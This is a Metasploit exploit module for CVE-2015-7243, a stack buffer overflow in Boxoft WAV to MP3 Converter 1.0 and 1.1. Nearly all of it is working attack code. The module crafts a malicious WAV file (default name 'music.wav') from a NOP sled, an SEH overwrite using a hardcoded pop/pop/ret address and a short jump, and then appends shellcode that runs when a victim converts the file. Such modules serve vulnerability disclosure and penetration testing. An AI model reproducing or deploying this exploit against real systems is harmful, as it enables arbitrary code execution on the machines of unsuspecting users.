Boxoft WAV to MP3 Converter 1.1 - Buffer Overflow (Metasploit)

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Boxoft WAV to MP3 Converter v1.1 Buffer Overflow",
      'Description'    => %q{
       This module exploits a stack buffer overflow in Boxoft WAV to MP3 Converter versions 1.0 and 1.1.
       By constructing a specially crafted WAV file and attempting to convert it to an MP3 file in the
       application, a buffer is overwritten, which allows for running shellcode.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Robbie Corley', # EDB POC
          'Shelby Pace'    # Metasploit Module
        ],
      'References'     =>
        [
          [ 'CVE', '2015-7243' ],
          [ 'EDB', '38035' ]
        ],
      'Platform'       => 'win',
      'Targets'        =>
        [
          [
            'Boxoft WAV to MP3 Converter v1.1',
            {
              'Ret' => 0x0040144c # P/P/R from wavtomp3.exe (1.1.0.0)
            }
          ]
        ],
      'Payload'        =>
        {
          'BadChars' => "\x00"
        },
      'Privileged'     => false,
      'DisclosureDate' => "Aug 31 2015",
      'DefaultTarget'  => 0))

    register_options(
    [
      OptString.new('FILENAME', [true, 'The malicious file name', 'music.wav'])
    ])
  end

  def exploit
    file_payload = payload.encoded

    buf = make_fast_nops(4132)
    buf << "\xeb\x06#{Rex::Text.rand_text_alpha(2, payload_badchars)}" # nseh (jmp to payload)
    buf << [target.ret].pack("V*")  # seh
    buf << file_payload
    # Size isn't very sensitive
    buf << make_fast_nops(5860)

    file_create(buf)
  end
end